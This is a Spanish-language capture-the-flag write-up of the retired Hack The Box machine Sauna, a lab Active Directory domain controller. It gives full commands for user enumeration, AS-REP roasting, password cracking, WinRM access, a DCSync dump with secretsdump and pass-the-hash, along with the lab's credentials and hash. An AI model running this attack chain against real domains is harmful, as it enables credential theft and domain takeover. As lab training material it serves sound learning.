Sauna Write-Up

Fecha de lanzamiento15 Feb 2020
EstadoRetirada
DificultadEasy
PlataformaWindows
IP10.10.10.175

RECONOCIMIENTO

Para comenzar la fase de enumeración de la máquina víctima, vamos primero a probar mandarle una PING para ver si obtenemos respuesta y verificar que tenemos conectividad con ella:

ping -c 1 10.10.10.175

Vemos que recibimos la traza y por lo tanto podemos comenzar a enumerar con NMAP los puertos que tiene la máquina abiertos. Guardaremos el output en un archivo que se llame nmap_scan.

nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.175 -oN nmap_scan
  • -p- : Indicamos que queremos escanear todo el conjunto de puertos (65535).
  • --open : Filtrar solo por aquellos que estén abiertos.
  • -sS : técnica de escaneo menos invasiva y rastreable donde no se llega a entablar una conexión completa.
  • --min-rate : indicamos la cantidad mínima de paquetes que queremos enviar por segundo.
  • -n : para que no nos aplique resolución DNS (no es necesario y en ocasiones demora tiempo).
  • -Pn : para que no aplique Host Discovery.
  • -oN : guardar el output en un archivo en formato nmap.

A continuación, para todos los puertos que nos ha detectado el comando anterior, vamos a correr unos scripts básicos de enumeración que tiene integrados la herramienta y vamos a detectar los servicios y correspondientes versiones que tiene cada puerto expuesto. Para ello, necesitamos filtrar del output anterior los números de los puertos y vamos a ponerlos de forma ordenada separados por comas. Lo guardaremos en una variable que se llame $ports.

ports=$(cat nmap_scan | grep -oP "^\d.*" | awk '{print $1}' FS='/' | xargs | tr ' ' ',')

Teniendo ya esta variable definida, vamos a correr el comando de nmap:

nmap -sCV -p$ports 10.10.10.175 -oN nmap_services

Antes de analizar todo, vemos que tenemos un nombre de dominio dentro de la información que nos devuelve el servicio de ldap expuesto de la máquina victima. Vamos a introducirlo en nuestro archivo local /etc/hosts:

Ya que hemos empezado hablando de LDAP, vamos a empezar a realizar una enumeración y reconocimiento de este servicio, a ver si tenemos acceso y nos devuelve información de valor.

¿Qué es LDAP? : Link

Para ello vamos a usar la herramienta ldapsearch:

ldapsearch -H ldap://10.10.10.175 -x -b "DC=EGOTISTICAL-BANK,DC=LOCAL"

Nos devuelve un output muy extenso, pero si lo examinamos podemos observar que podemos recabar información acerca de un usuario. Vamos a crear un archivo de texto para almacenar esta información.

echo "Hugo Smith" > usuarios.txt

Viendo que tiene un servidor web expuesto con una página web, vamos a proceder a examinarlo en el navegador. Se trata de un IIS 10.0 según el reporte de NMAP, una versión actualizada y mantenida.

Si entramos en la página web y navegamos por ella, vemos lo que parece ser una página web de un banco, cuyas funcionalidades están bastante limitadas.

En el tab de «About Us«, vemos que aparecen datos del equipo, con fotos y nombres asociados. Vamos a agregar estos nombres al archivo de usuarios potenciales creado anteriormente.

Como ya parece que tenemos un listado potencial de usuarios, vamos a jugar con una herramienta de GitHub que nos va a ayudar a modificar esta lista de usuarios con variaciones de forma automática. La mayoría de veces en las empresas, el nombre de usuario de los trabajadores esta conformado por una variación especifica del nombre y apellido. Por ejemplo, en el caso de Hugo Smith el nombre de usuario podría ser H.Smith, hsmith, hugos, h.smith, hugo.s…

Sabiendo esto vamos a usar la herramienta de GitHub «Username-Anarchy«. Para ello nos la clonaremos y nos meteremos en el directorio clonado para correr la herramienta:

git clone https://github.com/urbanadventurer/username-anarchy
cd username-anarchy
./username-anarchy --input-file ../usuarios.txt --select-format first,flast,first.last,firstl > ../usuariospotenciales.txt

Si abrimos el archivo que nos ha creado, tenemos ya una lista definitiva de variaciones de los nombres dados.

EXPLOTACIÓN

Si volvemos a la captura anterior de servicios y versiones, observamos que la máquina tiene el puerto 88 abierto. Se trata del servicio Kerberos:

Kerberos se trata de un protocolo que sirve para autenticar dos dispositivos que se conectan entre sí. No significa que vaya a autorizarlos, sino autenticarlos. Su función es identificar cada usuario mediante cifrado. Esa clave únicamente la conoce el usuario de cada dispositivo. Fue diseñado por MIT, que son la siglas en inglés del Instituto de Tecnología de Massachusetts.

https://www.redeszone.net/tutoriales/redes-cable/kerberos-protocolo-seguridad-redes/

Esto nos da indicios de que nos estamos enfrentando a un entorno de Active Directory. Existe una herramienta que sirve para hacer fuerza bruta a entornos de Active Directory mediante el protocolo de autenticación Kerberos. Se llama kerbrute y podéis descargarla desde aquí.

En este caso vamos a utilizarla para enumerar usuarios válidos del dominio pasando como input el listado de usuarios que hemos creado anteriormente.

kerbrute userenum --dc '10.10.10.175' -d 'egotistical-bank.local' usuariospotenciales.txt

Vemos que tenemos dos usuarios válidos en el dominio. Tenemos el usuario, pero no tenemos contraseña de acceso ni nada con lo que podamos avanzar.

Sabiendo que son usuarios existentes en el dominio, vamos a crearnos un archivo que recoja ambos nombres y vamos a probar un ataque llamado ASREPRoast.

El ataque ASREPRoast se basa en encontrar usuarios que no requieren pre-autenticación de Kerberos. Lo cual significa que cualquiera puede enviar una petición AS_REQ en nombre de uno de esos usuarios y recibir un mensaje AS_REP correcto. Esta respuesta contiene un pedazo del mensaje cifrado con la clave del usuario, que se obtiene de su contraseña. Por lo tanto, este mensaje se puede tratar de crackear offline para obtener las credenciales de dicho usuario.

https://www.tarlogic.com/es/blog/como-atacar-kerberos/

Para ello existe una herramienta de Impacket que usaremos para ver si algún usuario de los dos que tenemos válidos en el dominio no requiere de pre-autenticación de Kerberos:

impacket-GetNPUsers -dc-ip 10.10.10.175 -no-pass -usersfile usuariosdominio.txt EGOTISTICAL-BANK.LOCAL/

Vemos que para el usuario «fsmith» nos devuelve un hash. Vamos a guardar este hash en un archivo y trataremos de crackearlo de forma offline con la herramienta JOHN.

Ya tenemos un usuario y una contraseña. Nos vamos a crear un archivo que se llame credentials.txt para ir almacenando las credenciales que vayamos obteniendo.

echo 'fsmith:Thestrokes23' > credentials.txt

Estas credenciales que tenemos, vamos a validarlas con la herramienta crackmapexec. Recordemos que estaba abierto el puerto 445 (smb) y también el puerto 5985 (winrm), asi que validaremos para ambos.

Vemos que para el servicio winrm nos aparece (Pwn3d!). Esto quiere decir que el usuario está dentro del grupo de Windows «Remote Management Users» y podemos usar la herramienta Evil-WinRM para obtener una consola como el usuario.

Ya tenemos una terminal como el usuario «fsmith«. Podemos ir al escritorio del usuario y recolectar la flag del usuario para subirla a la plataforma de HTB.

ESCALADA DE PRIVILEGIOS

Una vez ya tenemos acceso a un usuario del dominio, vamos a recolectar un poco de información acerca del sistema y las posibles vías que tengamos para poder escalar privilegios o pivotar entre usuarios.

Vamos a utilizar un programa llamado WinPeas para realizar una recolección masiva de datos del sistema y para ver alguna vía potencial por la que podamos seguir avanzando.

Para ello descargamos el ejecutable y lo movemos a la carpeta donde estamos realizando todas nuestras actividades. La herramienta Evil-WinRM ofrece unas capacidades muy sencillas para subida y bajadas de archivos desde nuestra máquina local y la máquina victima, así que vamos a crearnos un directorio en la carpeta C:\Windows\Temp donde subiremos el archivo descargado y lo ejecutaremos.

Tardará un poquito (por lo menos a mí) pero cuando esté listo lo ejecutaremos y el output nos lo pasaremos a nuestra máquina local para examinarlo posteriormente.

Este proceso también tarda un poquito, así que os da tiempo a echaros un cafe y volver en unos 5 minutos.

Si buscamos por el archivo que nos hemos descargado, vemos que a mitad de él encontramos credenciales de «Autologon«. Tenemos un usuario y una posible contraseña.

Autologon le permite configurar fácilmente el mecanismo de registro automático integrado de Windows. En lugar de esperar a que un usuario escriba su nombre y contraseña, Windows usa las credenciales que escribe con Autologon, que se cifran en el Registro, para iniciar sesión automáticamente en el usuario especificado

https://learn.microsoft.com/es-es/sysinternals/downloads/autologon

Vamos a apuntarnos estas credenciales en el archivo «credentials.txt» y vamos a verificarlas como hicimos anteriormente.

Vemos que ambas son incorrectas. Esto se debe a que, si hacemos una enumeración de usuarios desde la terminal que tenemos con el usuario «fsmith«, podemos observar que realmente el nombre del usuario es «svc_loanmgr».

Vemos que estás credenciales si que son correctas y que también nos aparece con la herramienta crackmapexec que el usuario esta «Pwn3d!» para el servicio WinRM.

Si volvemos a usar la herramienta Evil-WinRM, tenemos una terminal como el usuario «svc_loanmgr«

evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'

A partir de aquí, vamos a usar un herramienta gráfica existente para explotación de entornos de Active Directory llamada Bloodhound.

BloodHound utiliza la teoría de grafos para revelar las relaciones ocultas y a menudo no intencionadas dentro de un entorno Active Directory o Azure. Los atacantes pueden utilizar BloodHound para identificar fácilmente rutas de ataque muy complejas que, de otro modo, serían imposibles de identificar rápidamente. Los defensores pueden utilizar BloodHound para identificar y eliminar esas mismas rutas de ataque. Tanto los equipos azules como los rojos pueden utilizar BloodHound para obtener fácilmente una comprensión más profunda de las relaciones de privilegios en un entorno de Active Directory o Azure.
Traducción realizada con la versión gratuita del traductor www.DeepL.com/Translator

https://github.com/BloodHoundAD/BloodHound

El uso de esta herramienta es algo más complejo que el lanzamiento de un comando con parámetros por la terminal. Vamos a necesitar:

Bloodhound -> es una versión deprecada pero la versión nueva no funciona con el collector de python. Descargarse el release más actualizado.

Bloodhound-Python -> es un Ingestor o Collector para Bloodhound. Recopila información para luego importarla en Bloodhound. Clonarse el repositorio ( o instalar mediante pip).

Neo4j -> Se trata de la base de datos que corre detrás de Bloodhound. Hay que instalarla y configurar el servicio la primera vez que lo iniciamos.

apt install neo4j

Para configurar el servicio la primera vez, vamos a escribir en la terminal neo4j console. Se nos va a crear en nuestro localhost una web por el puerto. Accedemos desde el navegador y vamos a cambiarle la contraseña por una de nuestra elección al usuario neo4j.

Una vez salimos de el navegador, vamos a terminar el proceso del neo4j y vamos a correr el comando neo4j start para iniciar el proceso de nuevo.

Ya con la base de datos corriendo y todo funcionando correctamente, nos vamos a abrir en una ventana adicional y en segundo plano el Bloodhound y vamos a iniciar sesión con las credenciales previamente configuradas para la base de datos Neo4j.

bloodhound &>/dev/null & disown

A partir de aquí es cuando entra en juego BloodHound-Python.

bloodhound-python -u svc_loanmgr -p 'Moneymakestheworldgoround!' -d EGOTISTICAL-BANK.LOCAL -ns 10.10.10.175 -c all --zip

Vamos a correr el comando indicando las credenciales últimas que tenemos, seleccionamos el dominio e indicamos la IP. El valor del parámetro -c hace referencia al método de recolección (all) y el parámetro --zip se indica para que nos guarde todo el output en un archivo .zip que es el que importaremos en BloodHound.

Nos vamos a la herramienta de BloodHound, y en los desplegables de la derecha seleccionamos «Upload Data» y vamos a subir el archivo .zip.

Una vez finalizada la subida, vamos al menu de la izquierda y pinchamos en «Refresh Database Stats«. Verificamos que las relaciones y ACLs no están a 0.

Una vez la importación es exitosa, vamos a buscar en la barra de búsqueda los usuarios los cuales tenemos «Pwn3ados!», y los vamos a marcar. Nos saldrá una calavera pequeñita a cada lado de ellos.

Nos dirigimos a la pestaña de análisis y hay tenemos numerosa información acerca del Active Directory. En este caso vamos a hacer click en el último campo, para ver las rutas más cortas para convertirnos en Domain Controller.

Como podemos ver, hay una flecha desde el usuario controlado «svc_loanmgr» hacia el dominio que pone DCSync. Si pinchamos en más información nos sale lo siguiente:

The user SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL has the DS-Replication-Get-Changes and the DS-Replication-Get-Changes-All privilege on the domain EGOTISTICAL-BANK.LOCAL.
These two privileges allow a principal to perform a DCSync attack.
You may perform a dcsync attack to get the password hash of an arbitrary principal using impacket’s secretsdump.py.

BloodHound

Un DCSync Attack es un tipo de ataque informático que permite a un atacante obtener contraseñas y otros datos sensibles de un controlador de dominio de Active Directory (AD) mediante la simulación de un controlador de dominio de AD. Este tipo de ataque puede ser utilizado para comprometer la seguridad de un sistema de red, especialmente en entornos empresariales, y obtener acceso no autorizado a los recursos de la red.
El ataque se basa en una función de replicación de controladores de dominio de Active Directory llamada DRSR (Domain Replication Service Remote Protocol), que permite a los controladores de dominio de AD replicar información entre sí. Los atacantes pueden utilizar herramientas especializadas, como Mimikatz, para realizar el ataque.

Por la información de este ataque, al tener este privilegio vamos a poder realizar un DCSync Attack y obtener contraseñas y datos sensibles del controlador del dominio. Pero no vamos a usar la herramienta Mimikatz sino que usaremos una herramienta de Impacket llamada secretsdump.

impacket-secretsdump 'svc_loanmgr:Moneymakestheworldgoround!@10.10.10.175'

Vemos que hemos sido capaces de obtener el Hash NTLM del usuario administrador. Gracias a ello, si es válido, vamos a poder realizar un ataque de «Pass The Hash» para obtener una terminal con máximos privilegios.

¿Qué es Hash NTLM? El hash NTLM es el formato criptográfico en el que se almacenan las contraseñas de usuario en sistemas Windows. Los hashes NTLM se almacenan en la SAM (security account manager) o en archivo NTDS de un controlador de dominio.

https://www.tarlogic.com/es/glosario-ciberseguridad/hash-ntlm/

Mismamente con la herramienta Evil-WinRM vamos a autenticarnos con el Hash y vamos a poder obtener una terminal como Administrador, desde la cual vamos a poder obtener la última flag de HTB.

evil-winrm -i 10.10.10.175 -u 'Administrator' -H '823452073d75b9d1cf70ebdf86c7f98e'
Jorge Escrito por:

Sé el primero en comentar

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *